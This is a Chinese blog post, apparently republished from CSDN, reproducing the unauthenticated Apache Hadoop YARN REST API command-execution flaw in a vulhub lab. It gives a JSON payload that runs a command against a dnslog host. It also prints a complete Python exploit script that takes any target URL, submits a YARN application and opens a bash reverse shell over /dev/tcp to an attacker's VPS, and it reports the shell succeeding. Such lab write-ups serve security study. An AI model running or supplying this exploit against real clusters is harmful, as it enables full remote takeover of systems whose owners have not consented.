0


Hadoop 漏洞复现

一、漏洞描述

Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)

漏洞产生原因

负责对资源进行同一管理调度的

ReasourceManager

组件的UI管理界面开放在

8080/8088

端口,攻击者无需认证即可通过

REST API

部署任务来执行任意命令,最终可完全控制集群中所有的机器

二、环境搭建

cd vulhub/hadoop/unauthorized-yarn

启动环境

docker-compose up -d

在这里插入图片描述
访问

8088

端口
在这里插入图片描述

三、漏洞复现

首先访问(

POST

请求)

/ws/v1/cluster/apps/new-application

获取

application-id

在这里插入图片描述
获取到

application-id

之后,我们访问

/ws/v1/cluster/apps

页面,并且构造

Payload
{"application-id":"application_1659336607746_0001","application-name":"getshell","am-container-spec":{"commands":{"command":"ping -c 3 test.clw7xm.dnslog.cn"}},"application-type":"YARN"}

修改

application-id

的值和你要执行的命令

command

在这里插入图片描述
漏洞利用成功
在这里插入图片描述

四、Exp脚本

# coding:utf-8import requests

defshell(url,vps_ip,port):
    headers ={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'}
    response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)id= response.json()["application-id"]
    data ={'application-id':id,'application-name':'getshell','am-container-spec':{'commands':{'command':'/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)},},'application-type':'YARN'}
    exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)print("[+] 执行完成!")if __name__ =='__main__':
    url =input("url:")
    vps_ip =input("vps:")
    port =input("port:")
    shell(url,vps_ip,port)

vps

上监听一个端口
在这里插入图片描述
使用脚本反弹

shell

在这里插入图片描述
利用成功,成功反弹

Shell

在这里插入图片描述

在这里插入图片描述

标签: 安全 web安全

本文转载自: https://blog.csdn.net/MrHatSec/article/details/126103268
版权归原作者 MrHatSec 所有, 如有侵权,请联系我们删除。

“Hadoop 漏洞复现”的评论:

还没有评论